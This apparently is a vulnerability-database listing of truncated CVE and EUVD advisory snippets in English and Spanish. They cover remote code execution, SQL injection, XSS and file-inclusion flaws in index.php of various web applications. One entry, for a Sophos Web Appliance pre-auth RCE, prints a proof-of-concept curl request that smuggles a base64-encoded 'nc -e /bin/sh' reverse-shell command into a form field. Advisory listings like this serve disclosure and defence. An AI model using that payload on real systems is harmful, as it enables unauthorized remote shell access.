CVE-2026-39117

An issue in AltumCode 66Uptime before v.54.0.0 and 66Uptime ping-servers plugin before v.2.0.0 allows a remote attacker to execute arbitrary code via the index.php...

EUVD-2026-89416

An issue in AltumCode 66Uptime before v.54.0.0 and 66Uptime ping-servers plugin before v.2.0.0 allows a remote attacker to execute arbitrary code via the index.php...

CVE-2026-39117

A vulnerability exists in AltumCode 66Uptime (prior to v.54.0.0 ) and the 66Uptime ping-servers plugin (prior to v.2.0.0 ). A remote attacker can exploit an issue in the index.php file to achieve arbitrary code execution . Exploitation details are not provided in the documents. Remediation inform...

CVE-2024-35468

CVE-2024-35468 Remitente: Kha Do Human Resource Management System 1.0 Vulnerabilidad Inyección SQL Descripción Vulnerabilidad de inyección SQL en /hrm/index.php en SourceCodester Human Resource Management System 1.0 permite a atacantes ejecutar comandos SQL arbitrarios a través de los parámetros ...

CVE-2021-39408

CVE-2021-39408 Existe una vulnerabilidad de Cross Site Scripting XSS reflejado en múltiples versiones 1.0 de la aplicación Online Student Rate System que permite la ejecución arbitraria de comandos JavaScript. Página Vulnerable En index.php, el parámetro page es vulnerable, permitiendo a un...

CVE-2023-1671

CVE-2023-1671 Pre-Auth RCE en Sophos Web Appliance Poc curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header,...

CVE-2021-40353

CVE-2021-40353 CVE-2021-40353 Vulnerabilidad de inyección SQL en openSIS 8.0 https://vulners.com/cve/CVE-2021-40353 Existe una vulnerabilidad de inyección SQL en la versión 8.0 de openSIS cuando se usa MySQL o MariaDB como base de datos de la aplicación. Un atacante puede entonces emitir el coman...

CVE-2026-7172

Stored Cross-Site Scripting XSS in TPVEnlanube affecting the following endpoint and parameter: CVE-2026-7172: parameter 'Nombre Completo' in the endpoint '/administrator/index.php?option=comvirtuemart&page=admin.userlist'. Successful exploitation of this vulnerability could allow an authenticated...

CVE-2024-48589

phpAbook 9.0i - Vulnerabilidad de Cross-Site Scripting XSS CVE-2024-48589 Resumen: Se descubrió una vulnerabilidad de Cross-Site Scripting XSS en el parámetro rol de index.php o en la sección de ruta en la aplicación phpAbook. Esta vulnerabilidad permite a un atacante inyectar código JavaScript...

CVE-2026-7172 Stored Cross-Site Scripting (XSS) in TPVEnlanube

Stored Cross-Site Scripting XSS in TPVEnlanube affecting the following endpoint and parameter: CVE-2026-7172: parameter 'Nombre Completo' in the endpoint '/administrator/index.php?option=comvirtuemart&page=admin.userlist'. Successful exploitation of this vulnerability could allow an authenticated...

CVE-2026-7172 Stored Cross-Site Scripting (XSS) in TPVEnlanube

Stored Cross-Site Scripting XSS in TPVEnlanube affecting the following endpoint and parameter: CVE-2026-7172: parameter 'Nombre Completo' in the endpoint '/administrator/index.php?option=comvirtuemart&page=admin.userlist'. Successful exploitation of this vulnerability could allow an authenticated...

EUVD-2026-88199

Stored Cross-Site Scripting XSS in TPVEnlanube affecting the following endpoint and parameter: CVE-2026-7170: parameter 'vendorstorename' in the endpoint '/administrator/index.php?pshopmode=admin&page=store.storeadd&option=comvirtuemart&vendorid=ID'. Successful exploitation of this vulnerability...

CVE-2025-55885

CVE-2025-55885 Descripción Vulnerabilidad de inyección SQL en Alpes Recherche et Developpement ARD GEC en Ligne anterior a v.2025-04-23 permite a un atacante remoto escalar privilegios a través de los parámetros GET en index.php Vectores de Ataque Inyección SQL a través del parámetro GET no...

CVE-2026-7171: Improper Neutralization of Input During Web Page Generation

Stored Cross-Site Scripting XSS in TPVEnlanube affecting the following endpoint and parameter: CVE-2026-7171: parameter 'Apellido 1' in the endpoint '/administrator/index.php?page=admin.useradd&userid=45&option=comvirtuemart'. Successful exploitation of this vulnerability could allow an...

CVE-2026-7172: Improper Neutralization of Input During Web Page Generation

Stored Cross-Site Scripting XSS in TPVEnlanube affecting the following endpoint and parameter: CVE-2026-7172: parameter 'Nombre Completo' in the endpoint '/administrator/index.php?option=comvirtuemart&page=admin.userlist'. Successful exploitation of this vulnerability could allow an authenticated...

CVE-2021-42663

CVE-2021-42663 CVE-2021-42662 - Vulnerabilidad de inyección HTML en el sistema de reservas de eventos en línea versión 2.3.0. Descripción técnica: Existe una vulnerabilidad de inyección HTML en el sistema de reservas de eventos en línea versión 2.3.0. Un atacante puede aprovechar esta...

CVE-2023-46015-Code-Projects-Blood-Bank-1.0-Reflected-Cross-Site-Scripting-Vulnerability

CVE-2023-46015-Code-Projects-Blood-Bank-1.0-Reflejado-Cross-Site-Scripting-Vulnerabilidad Autor del Exploit: ersinerenler Página del proveedor https://code-projects.org/blood-bank-in-php-with-source-code Enlace del software...

CVE-2026-84069

The WebFacing Email Accounts for cPanel WordPress plugin (versions 5.3-5.3.6 ) is vulnerable to Local File Inclusion (LFI) . The root cause is a failure to restrict access to a bundled script and a lack of validation for a user-supplied path used to include a local file. This allows unauthenticat...

CVE-2026-84069 WebFacing Email Accounts for cPanel 5.3 - 5.3.6 - Unauthenticated LFI via assets/index.php

The WebFacing™ WordPress plugin before 5.4 does not restrict access to one of its bundled scripts and does not validate a user-supplied path before using it to include a local file, allowing unauthenticated users to perform Local File Inclusion...

CVE-2026-84069 WebFacing Email Accounts for cPanel 5.3 - 5.3.6 - Unauthenticated LFI via assets/index.php

The WebFacing™ WordPress plugin before 5.4 does not restrict access to one of its bundled scripts and does not validate a user-supplied path before using it to include a local file, allowing unauthenticated users to perform Local File Inclusion...